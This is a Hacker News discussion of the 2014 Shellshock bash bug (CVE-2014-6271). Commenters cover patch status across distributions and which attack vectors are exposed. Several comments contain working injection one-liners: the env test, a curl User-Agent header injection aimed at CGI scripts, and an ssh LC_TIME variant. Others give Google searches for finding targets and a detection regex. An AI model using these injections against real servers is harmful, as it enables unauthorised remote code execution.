18 ms·

CVE-2014-6271: Remote code execution through bash

• Zweihander 12y ago
  For more info: http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html http://www.csoonline.com/article/2687265/application-securit... This should be fun
  • deleted 12y ago
    [deleted]
  • nknighthb 12y ago
    CGI has always been an accident waiting to happen, but hardly anybody uses it anymore anyway, and even more rarely in a manner that invokes bash, of all things. I fail to see how "HTTP requests" generically are a vector, and its "Here is a sample" statement is not a link and is followed by... nothing. This article tells me nothing useful other than "don't allow untrusted data into your environment", which we've all known for 20 years.
    • huhtenberg 12y ago
      > hardly anybody uses it anymore anyway Lots of PHP setups do.
      • ars 12y ago
        Lots? Really? PHP was one of the first to have a dedicated apache module. Perl is much more likely to be CGI.
        • lmz 12y ago
          I seem to recall cPanel defaulting to suPHP (which uses CGI).
          • jamroom 12y ago
            Yeah this is true - a lot of hosting providers run PHP as a CGI as it allows them to run the PHP process under the user account (although it is very slow, and RUID2 is a better solution). If you're not running mod_cgi can this affect the system in any way? Thanks!
        • prothid 12y ago
          Yes, lots. nginx + php is very popular.
          • pritambaral 12y ago
            Is fastCGI the same thing as CGI, for this case, though?
      • nknighthb 12y ago
        They would be too slow to be useful at any kind of real load. Are you sure you're not thinking of FastCGI? That doesn't pass data through the environment, it goes over a socket.
        • jamroom 12y ago
          Yeah - it is really slow, but a surprisingly large number of hosting providers run it that way under cPanel.
    • justincormack 12y ago
      People still shell out to do stuff from scripts from all sorts of languages. Unless these sanitize the environment they would be vulnerable.
      • nknighthb 12y ago
        Unless you're using CGI, your system environment will not be contaminated. CGI is vulnerable because it relies on passing untrusted data in environment variables. No other gateway interface I'm familiar with does.
        • nitrogen 12y ago
          Are you certain that no method of invoking a dynamic script sets environment variables to values controlled by requests? If so, it sounds like even an innocent call to system("lame a.wav b.mp3") could lead to code execution. Edit: also, you may be surprised to find that some "libraries" are actually wrappers around external binaries (e.g. libgpgme). If any of them used a system() or exec() call that preserves environment, and the binary or the library ever invokes bash (e.g. via system()), then trouble will ensue.
          • nknighthb 12y ago
            Are you certain God doesn't exist? This is far from the first environment variable attack to impact CGI scripts, and CGI's successors have avoided passing data in environment variables. It's possible some moron decided to create their own CGI replacement using environment variables, but it's not going to be in widespread use.
            • nitrogen 12y ago
              How does nginx pass data to passenger? Edit: also note that CUPS is vulnerable according to https://access.redhat.com/articles/1200223 https://access.redhat.com/articles/1200223 Also dhclient (!)
              • 12y ago
    • rmc 12y ago
      This article tells me nothing useful other than "don't allow untrusted data into your environment", which we've all known for 20 years. Yes, we've all known that. But we're slowly discovering all different ways the untrusted data can get there.
    • peterwwillis 12y ago
      Almost all vendor-supplied web interfaces that don't come bundled with a web server are CGI so you can just run it from whatever web server you have. Even some very popular 'appliances' out there that have their own web server run CGI.
    • fl0wenol 12y ago
      FastCGI accepts name/value pairs from the server and most default language bindings against it will turn them into environment variables for the benefit of code that expects to be able to reference them. This can get tricky if you do anything that spawns a process with your code later.
• kalops 12y ago
  so basically turn off AcceptEnv in sshd_config?
  • hijinks 12y ago
    I don't think so. From what I've been reading it can be exploited via http requests. I'm sure a metasploit script is right around the corner. Edit: oh looks like only like mod_cgi related stuff is.. thats good then sort of
    • kevinr 12y ago
      Any software where adversary-controlled input can set environment variables which then execs bash is affected. mod_cgi is just really easy to exploit.
    • vidarh 12y ago
      It can potentially be exploited via anything that shells out to bash with an environment that contains environment variables with values (that ultimately comes from) an untrusted source. mod_cgi is just one of the most obvious attack vectors.
  • justincormack 12y ago
    Also don't use bash for running any scripts. You never should anyway, in a sane environment /bin/sh should not be bash - in Debian/Ubuntu it is dash which is not vulnerable. Unfortunately the Redhat derived distros do use bash as default /bin/sh. In the BSDs it is a standards compliant posix sh too. bash is for users not scripts.
    • mhurron 12y ago
      > in a sane environment /bin/sh should not be bash Why, other than it is not the shell of the day?
      • justincormack 12y ago
        First it encourages people to use bash specific stuff that is non Posix. Second it is a huge bloated bit of code thats ok as user interface, but scripts should use something that is more minimal. To avoid this sort of issue.
• Oculus 12y ago
  Have big security vulnerabilities been cropping up more often recently or does it seem that way because I've started to pay attention?
  • drzaiusapelord 12y ago
    Its been a bad time for FOSS/Linux systems. Heartbleed, the occasional priv escalation, apt-get, bash, etc. Or whatever the hell happened at TrueCrypt. Or the recent AOSP browser bug in Android that probably won't be patched by any OEM/Carrier. These are all pretty serious issues. Not to mention the endless wave of malware targeting Windows systems, especially the evil cryptolocker ransomware. I really do think heartbleed was a wake-up call for some people and a lot of extra auditing is being done, perhaps with some healthy paranoia fueled by the recent NSA allegations. Software, in general, imo, is pretty insecure. The exploits, bugs, etc are out there and if you'll find them if you look hard enough. Considering software is always being updated, that also means news bugs and security issues. As a sysadmin, I've just seen too often how the sausage is made. I have zero illusions about security. There are just too many avenues to compromise, be it via software or via plain-jane social engineering. I think one day in the future we (or our children) are going to look back at the age of viruses and buffer overflows and wonder how the hell we managed to get by, the same way I look at cars from the 50s-60s that suffered from things like vapor lock, were incredibly unsafe, and other issues that really don't exist today.
    • lonnyk 12y ago
      Are you referring to this apt-get vulnerability or another one: https://lists.debian.org/debian-security-announce/2014/msg00219.html https://lists.debian.org/debian-security-announce/2014/msg00... ?
  • dpeck 12y ago
    you're just paying attention. There have been some interesting ones the last year or two but this is really a trickle compared to early through mid 2000s
    • 12y ago
• masterleep 12y ago
  env x='() { :;}; echo vulnerable' bash -c "echo this is a test" From https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ https://securityblog.redhat.com/2014/09/24/bash-specially-cr...
  • mmastrac 12y ago
    Oh damn: curl -H 'User-Agent: () { :;}; echo; echo vulnerable to CVE-2014-6271' <shell script CGI URL> Tested and working against a shell script CGI.
  • darklajid 12y ago
    Whoa. I tried this, ran pacaur -Suy and .. it's patched. Arch was fast.
    • gegenschall 12y ago
      If you're on Arch, you might want to think about using dash as your /usr/bin/sh after updating, see [0]. [0] https://wiki.archlinux.org/index.php/Dash https://wiki.archlinux.org/index.php/Dash
      • caust1c 12y ago
        Also make sure your mirror is up to date. When I updated this morning, osuosl was out of date (and still is as of this comment: https://www.archlinux.org/mirrors/osuosl.org/125/ https://www.archlinux.org/mirrors/osuosl.org/125/)
    • dllthomas 12y ago
      It's fixed in Debian as well.
      • yebyen 12y ago
        I am not so sure. Debian sid (i386) with current updates, the example test shows I am still vulnerable. 4.3-9 bash
• khaki54 12y ago
  So I took a great unix/linux systems programming class, http://sites.fas.harvard.edu/~lib215/ http://sites.fas.harvard.edu/~lib215/ where you learn about all of the system software that you take for granted. Among other things, we had to write our own shell. There is an awful lot to consider, and most of it you are just trying to get to work properly. With regard to security, you feel like you are protected for the most part because the shell resides in userland and it's basically understood that you shouldn't trust foreign shell scripts. Is the worry here that the code gets executed by the kernel or superuser, enabling privilege escalation? Otherwise it wouldn't be a big deal that extra code is executed by a function declaration.
  • dtech 12y ago
    It allows arbitrary code execution if an attacker can modify environment variables through other software. Most webservers put certain HTTP headers in environment variables. I can certainly see the how this could be exploited.
    • Someone1234 12y ago
      > Most webservers put certain HTTP headers in environment variables. I legitimately don't understand why they might do such a thing. Can you explain?
      • yxhuvud 12y ago
        They need to pass data into a CGI script somehow.
        • vidarh 12y ago
          But a shell will rarely be involved in executing a CGI, unless that CGI itself executes one. And who still uses CGI scripts? Not to say nobody will be bitten by that, but I don't think that's going to be all that widespread.
          • 12y ago
• sauere 12y ago
  No update out for Ubuntu Server 14.04 yet. /edit: the Red Hat blog has a good overview https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ https://securityblog.redhat.com/2014/09/24/bash-specially-cr...
  • hamiltonkibbe 12y ago
    Update for Ubuntu Server 14.04 is available
• agwa 12y ago
  It is a very good thing that Debian and Ubuntu use /bin/dash for /bin/sh by default, since /bin/sh is implicitly invoked all over the place (e.g. by system(3)). Distros which use /bin/bash for /bin/sh are gonna have a bad time. Edit: not implying that Debian and Ubuntu aren't affected too, just that the impact there will be lessened.
  • ForHackernews 12y ago
    Do you have a source for that? Some articles [0] claim "This affects Debian as well as other Linux distributions." [0] http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html http://www.csoonline.com/article/2687265/application-securit...
    • ngcazz 12y ago
      Likely meaning that the Debian packages for Bash include the vulnerability
    • agwa 12y ago
      You're right and my comment was unclear. I'm just saying that the impact on Debian will be less than on distros using /bin/bash for /bin/sh. Of course, even a lessened impact can still be really bad!
    • aroch 12y ago
      Debian7 doesn't look to be vulnerable by default (if the code snippet can be trusted to work): [arch/testbed ~] uname -a Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux [arch/testbed ~] env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test
      • agwa 12y ago
        You appear to already have the updated package installed.
• ck2 12y ago
  Has the redhat patch been pushed through centos yet?
  • cesarb 12y ago
    Apparently, no. When it does, it should appear at http://lists.centos.org/pipermail/centos-announce/2014-September/date.html http://lists.centos.org/pipermail/centos-announce/2014-Septe... (if you admin CentOS servers, it can be a good idea to subscribe to that list).
    • skorgu 12y ago
      Yes: http://lists.centos.org/pipermail/centos-announce/2014-September/020585.html http://lists.centos.org/pipermail/centos-announce/2014-Septe... Verify your shasums before trusting a command line off the internet but: rpm -Uvh http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/bash-4.1.2-15.el6_5.1.x86_64.rpm http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/... http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/bash-doc-4.1.2-15.el6_5.1.x86_64.rpm http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/...
      • ck2 12y ago
        Looks like it works. I guess it is okay that after the close quote the command still runs even though it is not terminated env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test
  • Eiriksmal 12y ago
    It's out by now for both Centos 6 and 7. Ironically, their Redhat brethren on the Fedora 20 project haven't released an update yet.
  • smsm42 12y ago
    My CentOS now says "ignoring function definition attempt" after the upgrade, so I assume CentOS update is now out.
• korzun 12y ago
  FreeBSD appears to be affected.
  • sjackso 12y ago
    ...if you've installed bash from ports. The base system doesn't appear to be affected.
    • estrabd 12y ago
      The base FreeBSD installation comes with 2 shells - tcsh and sh (not bash!). However many do install bash. https://www.freebsd.org/doc/handbook/shells.html https://www.freebsd.org/doc/handbook/shells.html
  • rsync 12y ago
    A default installation of FreeBSD is not affected, as FreeBSD does not have bash installed by default.
• jimrandomh 12y ago
  If you are responsible for the security of any system, this is your immediate, drop-everything priority. The technical details of the exploit mean that new ways of exploiting it will be discovered soon. Precedent suggests that automated systematic attacks against every server on the Internet will be coming, on a time scale of hours.
  • matchu 12y ago
    So, as a amateur sysadmin of a decently popular side project, what should I do? I've read over the post on the mailing list, and I think I understand the basic attack, but I'm having trouble understanding exactly how an attacker could run bash on my server and what I therefore need to patch (though I suspect that's intentional). Is `sudo apt-get update && sudo apt-get upgrade` sufficient on an Ubuntu server?
    • ilconsigliere 12y ago
      It will be once they release a patch, yes https://security-tracker.debian.org/tracker/CVE-2014-6271 https://security-tracker.debian.org/tracker/CVE-2014-6271
      • karlkatzke 12y ago
        Already out on Ubuntu, I believe?
    • clarry 12y ago
      I don't know if Ubuntu has pushed a patched version of bash, but bash is what you should update. Someone already posted a way to test whether your version is vulnerable. You might also look into changing the default shell (but beware, scripts with bashisms in them...).
      • hamiltonkibbe 12y ago
        Ubuntu pushed the update around noon 4.3-7ubuntu1.1
• ck2 12y ago
  http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html http://www.csoonline.com/article/2687265/application-securit... Another attack surface is OpenSSH through the use of AcceptEnv variables. As well through TERM and SSH_ORIGINAL_COMMAND. An environmental variable with an arbitrary name can carry a nefarious function which can enable network exploitation.
  • adamt 12y ago
    On most systems I've found this works: LC_TIME='() { :;}; echo vulnerable' ssh <hostname> Not sure of the impact of this, as the user would need to have a remote permissions anyway for the SSH login to occur. But if there was some form of restricted shell that then spawned bash it might potentially create an attack vector.
    • MrUnderhill 12y ago
      I was wondering about this too. My thinking was, if a user's laptop is compromised (and has the exploit in LC_TIME, TERM or similar), and the user then SSH in to a server with exploitable bash, the nefarious command will presumably be executed without the user knowing. But of course, if the laptop is compromised that badly, it could probably wreak havoc to the server anyway.
• m4r71n 12y ago
  Some more information was just posted to oss-sec: http://seclists.org/oss-sec/2014/q3/650 http://seclists.org/oss-sec/2014/q3/650
• ilconsigliere 12y ago
  Am I wrong in thinking that seems a bit worse than Heartbleed?
  • jtdowney 12y ago
    It is far worse in the sense that it can lead to remote code execution. However, the number of vulnerable sites is far far fewer. Like Heartblead this one will likely have a very long tail of systems remaining vulnerable. My guess is we will see this vulnerability used to compromise big targets in the next few months.
  • jrochkind1 12y ago
    The exploit is worse. But I'm not sure how a scanner bot would find network accessible bashes to exploit. Seems like basically you need a cgi-bin with bash, and I don't think there's any way to predict a URL that is going to have such a thing. Now, if there is some popular app that ends up vulnerable (perhaps because it shells out to bash), then that's definitely going to be huge. But as it is... I'm not sure?
    • ilconsigliere 12y ago
      Makes sense. This just strikes me as a very flexible exploit.
    • Erwin 12y ago
      You could search for *.cgi scripts indexed by Google. They may not be written IN Bash but maybe one of them opens up a shell to execute a command. Even if you are not explicitly passing any bad data to it, the environment will be passed and trigger this crazy vulnerability.
    • apawloski 12y ago
      Google inurl:cgi-bin inurl:.sh
      • jrochkind1 12y ago
        Yeah, that makes sense. Did you try it? Gets me ~6k of hits that have just 'sh' in the URL (without the dot), and are not what we're looking for, mostly forum posts asking about how to make a bash cgi-bin. (Answer from the future: don't). I _think_ putting quotes around the ".sh" is supported to force the result to really have the period before the sh in the url. inurl:cgi-bin inurl:".sh" 0 hits
• zobzu 12y ago
  I have a feeling this is blown out of proportion. Who's running bash setuid exactly? Right. Who's running shell CGIs today? Right. So.. who has an example of common scripts that are executed remotely in most servers while accepting remote environment? Til then, the panic seems unjustified...
  • revelation 12y ago
    GitHub? I'm reminded of https://gist.github.com/joernchen/a7c031b6b8df5d5d0b61 https://gist.github.com/joernchen/a7c031b6b8df5d5d0b61 Of course that was fixed a long time ago, but I wonder what other systems are just a thin veneer over pretending the user controls a shell.
  • fabulist 12y ago
    Google brings up 410 .bash CGIs. Every one of them is almost guaranteed to be vulnerable at this point. Of the 1.2 million .sh CGIs, some are surely vulnerable. By this time, many of them are already be in the process of being owned. CGIs are likely the smallest piece of the vulnerable hosts here. This is going to stick around as a local vulnerability on the plentiful supply of under-patched Linux boxes for a long time.
    • zobzu 12y ago
      thats a really small number of servers actually.. i mean ppl get owned every day, every minute. theres a bunch of more easily exploitable local bugs that actually elevate your privileges. this one bug DOES NOT elevate privs. you need a service that passes unsanitized env vars (unchecked user input) to bash with another user id than yours.
  • adamt 12y ago
    As I understand this, any CGI script could be affected. Even if written in a different language if it turn does an os.system (or equivalent). More info here: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ https://securityblog.redhat.com/2014/09/24/bash-specially-cr... The permissions would only be as the web server user, but that allows all sorts of things to be run that are quite dangerous (resource exhaustion, attacking remote machines, downloading code and running it)
• _wmd 12y ago
  As an example of who might be impacted, since openssh preserves the original command line passed to the ssh server when authenticating a public key that has a fixed command associated in authorized_keys, GitHub and BitBucket security teams are probably both having a really exciting day.
  • scintill76 12y ago
    This vulnerability is the kind of reason I would have a stripped-down OpenSSH for public users, if I were them. Hard-code to do what they need, don't use configuration files, remove any features not needed. For example, to print the "You've successfully authenticated, but GitHub does not provide shell access." a user gets trying to ssh to github.com, don't invoke anything, print it directly from the SSH server.
    • graylights 12y ago
      Much easier to implement a custom captive shell (default login shell for user) then to mess with the crypto system.
      • scintill76 12y ago
        Maybe. Actually, it looks like Github is using libssh, which is along the lines of what I was thinking, without having to mess with crypto too much, as you say.
    • thejosh 12y ago
      This is what Atlassian Stash does.
• iuguy 12y ago
  My OSX Mavericks install appears to be affected: foom:~ steve$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test
  • jvreeland 12y ago
    If i remember correctly Apples stopped updating bash in OSX a long time ago I wonder if this will get fixed.
  • fluidcruft 12y ago
    Doesn't OSX ship the 8-year-old bash 3.2 (2006) i.e. the last version available as GPLv2? (Apple hates GPLv3)
    • actionscripted 12y ago
      For me in 10.9.5: $ bash --version GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Copyright (C) 2007 Free Software Foundation, Inc.
      • deleted 12y ago
        [deleted]
    • x3ro 12y ago
      It does. I installed an up-to-date version with homebrew a few months ago, and it was vulnerable as well. After a `brew update && brew upgrade bash` I had the fix installed, though :)
  • DEinspanjer 12y ago
    My OSX was vulnerable too, but I use Homebrew, and the latest version of bash available via brew update && brew upgrade is patched against this. If you haven't already been using Homebrew though, you will likely need to move /usr/local/bin infront of /usr/bin in your path, otherwise the old bash would still be used.
• flebron 12y ago
  Maybe I'm doing something wrong, but I just tested it in ZSH (5.0.5, Linux) and the same vulnerable behavior seems to show up.
  • flexd 12y ago
    I see this in zsh 5.0.0 on Ubuntu, and on OSX as well! zsh 5.0.2 (x86_64-apple-darwin13.0)
    • Crito 12y ago
      I'm not seeing this on zsh 4.3.17. Exactly what did you run to see this?
      • pja 12y ago
        They probably ran env x='() { :;}; echo vulnerable' bash -c "echo this is a test" but failed to spot that the second command invokes bash not zsh. My tests suggest that neither zsh 4.3.17 or 5.0.6 (the versions that ship with Debian stable & testing respectively) are vulnerable to this exploit - if you replace bash with zsh in the test oneliner then the code after the end of the function definition in the environment variable is not executed.
        • flexd 12y ago
          That's it, I am an idiot today. (and more days probably)
  • ckuehl 12y ago
    How are you testing it? If you're just pasting one of the proof-of-concept lines into zsh, such as this one: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" ...then you're really just executing bash. Replace "bash" in the line above with "zsh" and the "vulnerable" line is not printed.
    • adamtj 12y ago
• kazinator 12y ago
  Passing executable code in environment variables is an incredibly bad idea. The parsing bug is a red herring; there are probably ways to exploit the feature even when it doesn't have the bug. The parsing bug means that the mere act of defining the function in the child bash will execute the attacker's code stored in the environment variable. But if this problem is closed, the issue remains that the attacker controls the environment variable; the malicious code can be put inside the function body. Even though it will not then be executed at definition time, perhaps some child or grand-child bash can be nevertheless goaded into calling the malicious function. Basically this is a misfeature that must be rooted out, pardon the pun.
• deleted 12y ago
  [deleted]
  • deleted 12y ago
    [deleted]
• deleted 12y ago
  [deleted]
• deleted 12y ago
  [deleted]
  • sauere 12y ago
    Also: i was not able to test it yet since i am still on the road, but i belive the Cisco AnyConnect VPN client OS-detection is affected
• ecze 12y ago
  With this bug, bash access to CiscoCallmanager is possible... Tested and working....
  • MichaelGG 12y ago
    VoIP software is hilariously insecure in general. This little bug is going to make some people a ton of money. Or even just cost some people a lot.
  • q3k 12y ago
    Same for Cisco NX-OS...
• mirashii 12y ago
  At a glance, one interesting use of this is a potential local privilege escalation on systems with a sudoers file which restrict commands which can be run to ones that include a bash script, and allow you to keep some environment variables.
• wyager 12y ago
  This is what happens when you have two different processes doing IPC using a human interface mechanism. Another huge family of vulnerabilities that exists for the same reason are SQL injection vulnerabilities. SQL was invented as a way for humans at a terminal to do database operations. However, we started using it as a way of doing IPC. The problem with using human interfaces as an IPC mechanism is that human interfaces are rarely well-defined or minimal, so it is very hard to constrain behavior to what you expect. The way to fix all of these bugs is to use well-defined, computer-oriented IPC mechanisms where there is a clear distinction between code and data. For example, database queries might be constructed by function call instead of string manipulation, which could pack them into a safe TLV format with no chance of malicious query injection. Generating web server content from a different language could be done via a proper FFI or message passing mechanism, rather than CGI scripts.
• javert 12y ago
  So if a machine is not running a web server, does that mean that machine is not vulnerable?
  • ars 12y ago
    No. Apparently ssh might be vulnerable.
  • scott_karana 12y ago
    It might not be vulnerable, but any context where a user can pass environment variables might be dangerous. Eg, if you allow ANY environment variables in SSH rsync-only logins, or pass on any variables (for good or bad) in sudo scripts, etc.
  • MichaelGG 12y ago
    No, all sorts of other network-facing systems can be vulnerable. Anything that ends up shelling out might pass some environment variables causing the problem. These things pop up in surprising places.
• kacy 12y ago
  Ubuntu has been patched, it appears. If you're on Ubuntu, try this: sudo apt-get update sudo apt-get --only-upgrade install bash
• JoshTriplett 12y ago
  Is it just me, or are the patches "fixing" the vulnerability woefully insufficient? With the patch, bash stops executing the trailing code, but it still allows defining arbitrary shell functions from environment variables. So, even though the patch fixes the ability to exploit this via SSH_ORIGINAL_COMMAND or HTTP_*, anything that can set environment variables can still override an arbitrary command. (Note that privileged environments typically filter out attempts to set PATH, LD_LIBRARY_PATH, and so on.) This applies even if your shell script or shell snippet uses the full paths to commands. For instance: $ env '/sbin/foo'='() { echo exploit; }' bash -c '/sbin/foo' exploit
  • jimrandomh 12y ago
    Attacker-controlled environment variable names are a rare scenario, and one that probably has you hosed no matter what. Attacker-controlled environment variable values, on the other hand, are not so rare, and if not for this vulnerability they wouldn't be a problem.
    • peterwwillis 12y ago
      More specifically: The environment in general is an attack vector. I mean, it's global input that crosses execution domains! Any name/value pair could potentially mess with any number of programs in unexpected ways. A user should not be able to control any environment changes, period. Of course, whether or not this is practical is an exercise for the sysadmin.
  • sliverstorm 12y ago
    The vulnerability was released, what, a few hours ago? With a major vulnerability, waiting around for a "proper" fix is probably not a good idea. Get in a hot-patch to minimize the damage, then work on a "proper" fix...
  • notacoward 12y ago
    It's not just you. The fact that an environment variable can override e.g. "git" to do something else is a real problem requiring separate protection. However, that's effectively PATH injection rather than code injection so it's already addressed in many cases.
• AnimalMuppet 12y ago
  Off topic: This is why I keep coming back to HN. I've gotten an amazing amount of useful info on this very quickly. Great discussion - no trolling, no BS, just serious questions and serious answers.
  • prothid 12y ago
    Don't tell anyone.
    • hadoukenio 12y ago
      See: http://en.wikipedia.org/wiki/Eternal_September http://en.wikipedia.org/wiki/Eternal_September http://www.reddit.com/r/OutOfTheLoop/comments/1i8mp7/what_is_the_digg_migration/ http://www.reddit.com/r/OutOfTheLoop/comments/1i8mp7/what_is...
• piratebroadcast 12y ago
  Someone please ELI5 (Explain Like I'm 5)?
  • cdelsolar 12y ago
    You're very likely pwned. Upgrade immediately.
• piratebroadcast 12y ago
  My friend tried it on Heroku - It is affected.
• peterwwillis 12y ago
  Know what isn't vulnerable to this? Perl CGI scripts with taint mode enabled. http://perldoc.perl.org/perlsec.html#Taint-mode http://perldoc.perl.org/perlsec.html#Taint-mode You may not use data derived from outside your program to affect something else outside your program--at least, not by accident. All command line arguments, environment variables, locale information (see perllocale), results of certain system calls (readdir(), readlink(), the variable of shmread(), the messages returned by msgrcv(), the password, gcos and shell fields returned by the getpwxxx() calls), and all file input are marked as "tainted". Tainted data may not be used directly or indirectly in any command that invokes a sub-shell, nor in any command that modifies files, directories, or processes, with the following exceptions:
  • phs2501 12y ago
    Not true if the perl script calls out to bash (i.e. via system), as it doesn't sanitize the environment: $ env x='() { :;}; echo vulnerable' perl -T -e "\$ENV{PATH} = '/bin'; system('ls | cat');" sh: warning: x: ignoring function definition attempt sh: error importing function definition for `x' ...
• why-el 12y ago
  Is someone from Heroku online here right now? My apps are all affected and since I am trusting Heroku with this, I am hoping they patch the system as soon as possible.
  • yuvadam 12y ago
    They will be patching shortly [1] [1] - https://twitter.com/jacobian/status/514865870649061376 https://twitter.com/jacobian/status/514865870649061376
    • why-el 12y ago
      Yep, they did. :)
• saurabhnanda 12y ago
  Am I vulnerable if using the Paperclip gem to manage file uploads on a Rails app (it internally fires up 'convert' to generate thumbnails, I believe). What if there is an haproxy sitting in front of the Rails app?
• piratebroadcast 12y ago
  Free BashBleed logo for tech journalists - http://i.imgur.com/ilJbM74.png http://i.imgur.com/ilJbM74.png
  • DCtn 12y ago
    You're not funny.
• mmagin 12y ago
  The patch: ftp://ftp.cwru.edu/pub/bash/bash-4.3-patches/bash43-025
• Sanddancer 12y ago
  Can someone with mod_security test a regex I wrote that should mitigate this? /\(.?\)\s\{.?\}\s\;/ from testing seems to catch any variants that I can think of that can trigger this bug, but I don't have a machine easily available to me at the moment to test with, unfortunately.
  • fragmede 12y ago
    Redhat has some here: https://access.redhat.com/articles/1200223 https://access.redhat.com/articles/1200223
    • Sanddancer 12y ago
      Those regexes seem a bit too fragile for my liking. Adding an extra space between the paren and the bracket breaks it, naming the function breaks it, etc. Plus it has a bigger chance of triggering false positives. It's an okay emergency fix, but I'm positive one can do better.
  • jimrandomh 12y ago
    Your regex was damaged by HN's comment formatting. To get it to post correctly, put it on a line with four leading spaces.
  • Sanddancer 12y ago
    Repost, because HN "formatted" it for me /\((.*)?\)\s*\{(.*)?\}\s*\;/ I have qualms against redhat's fix, because it seems like it would create too many false positives, and additionally looks way too easy to work around just by adding spaces, etc.
• FranOntanaya 12y ago
  Saucy wasn't patched by the time I did a do-release-upgrade a while ago.
• Eclyps 12y ago
  Amazon's Linux distro for EC2 is still waiting for a patch. EDIT: Finally got things updated. Bulletin can be found here: https://alas.aws.amazon.com/ALAS-2014-418.html https://alas.aws.amazon.com/ALAS-2014-418.html If yum isn't finding the update, try running "yum clean all" and then "yum update bash"
  • prothid 12y ago
    I'm considering pulling an rpm from elsewhere until they have this in place.
    • Eclyps 12y ago
      It's updated now
  • bonaldi 12y ago
    If yum still doesn't find it, you may be on an older release. Try "yum --releasever=2014.09 update bash"
  • rbliss 12y ago
    Still waiting for a fix on Beanstalk. Neither "yum clean all" followed by "yum update bash" nor "yum --releasever=2014.09 update bash" currently work. EDIT: relevant AWS threads https://forums.aws.amazon.com/thread.jspa?threadID=161489 https://forums.aws.amazon.com/thread.jspa?threadID=161489 https://forums.aws.amazon.com/thread.jspa?threadID=161529&tstart=0 https://forums.aws.amazon.com/thread.jspa?threadID=161529&ts...
    • rbliss 12y ago
      Should be fixed now: To manually update EC2 instances managed by Elastic Beanstalk, you can run the following command: For Amazon Linux 2013.09 "sudo yum install -y http://packages.us-east-1.amazonaws.com/2013.09/updates/556c442ced2f/x86_64/Packages/bash-4.1.2-15.18.20.amzn1.x86_64.rpm" http://packages.us-east-1.amazonaws.com/2013.09/updates/556c... For Amazon Linux 2014.03 "sudo yum install -y http://packages.us-east-1.amazonaws.com/2014.03/updates/e10f5b547e18/x86_64/Packages/bash-4.1.2-15.19.amzn1.x86_64.rpm" http://packages.us-east-1.amazonaws.com/2014.03/updates/e10f...
• pbrumm 12y ago
  Don't forget to update your docker containers and restart them.
• jdimov 12y ago
  All the explanations of why this is bad seem to involve CGI. Didn't the CGI interface die in the 90's? Who uses that nowadays?
  • frou_dh 12y ago
    Though it's no doubt rickety, conceptually I really like CGI. Talk about loose coupling.
• BenjaminCoe 12y ago
  Wanted to share the simple Ansible script we used to patch CVE-2014-6271 at npm: https://github.com/npm/ansible-bashpocalypse https://github.com/npm/ansible-bashpocalypse
  • bowlofpetunias 12y ago
    Just did something similar with Ansible, the simple task "apt update_cache=yes pkg=bash state=latest" will do the trick. At least it did for me.
• super_mario 12y ago
  Interestingly enough ancient BASH version 3.2 on Mac OS X 10.9.5 is not vulnerable: $ echo $BASH_VERSION 3.2.51(1)-release $ x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test $ I manually patched my BASH 4.3 to patch level 25 so it's not vulnerable either. $ echo $BASH_VERSION 4.3.25(1)-release $ x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test $
  • daveloyall 12y ago
    That's ... weird, since the phrase "ignoring function definition attempt" wasn't added to bash 3.2 until today, with patch level 52. http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 Your paste indicates patch level 51. The phrase in question doesn't appear on the internet much at all before today. https://www.google.com/search?q="ignoring+function+definition+attempt"&tbs=cdr%3A1%2Ccd_min%3A%2Ccd_max%3A9%2F23%2F2014 https://www.google.com/search?q="ignoring+function+definitio... I presume that the one search result we see is due to a server that has an incorrect clock (or a time machine).
  • Fishkins 12y ago
    Hmm, I do see "vulnerable" print when I run that code on Mac OS X 10.9.5 with bash 3.2.51(1)-release.
  • Crito 12y ago
    Since other people are reporting that their copies of bash 3.2.51 are vulnerable, I suspect that the version of bash that is currently running in that terminal is 3.2.51 and vulnerable, but the version of bash that you are invoking from that vulnerable version of bash is not. In other words, I suspect that: $ echo $BASH_VERSION and $ bash --version Will report different version numbers. If you start a new terminal and try `echo $BASH_VERSION`, you will probably see a different version as well.
• snissn 12y ago
  Here is a very simple proof of concept that helped me understand the vulnerability: bash-3.2$ anyvariable='() { true; }; echo foo' bash foo
• MBlume 12y ago
  I'm a bit confused about how to properly patch my mac. Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has a /bin/bash hashbang at the top, won't it still use the vulnerable bash install? I mean I guess the answer is "you're probably not hosting a publicly accessible service on your mac, who cares?", which is true in my case, but still.
  • acdha 12y ago
    You're correct – you'd need to overwrite /bin/bash (think long and hard about this) to update it before Apple ships an update. The good news is that as long as you're not running a local server, the vulnerability is pretty limited particularly since even if you did have SSH enabled the exploit would require valid authentication first.
    • legulere 12y ago
      At least on linux that's not true as NetworkManager + dhclient is affected through malicious dhcp packets. There could be attack vectors almost everywhere.
      • acdha 12y ago
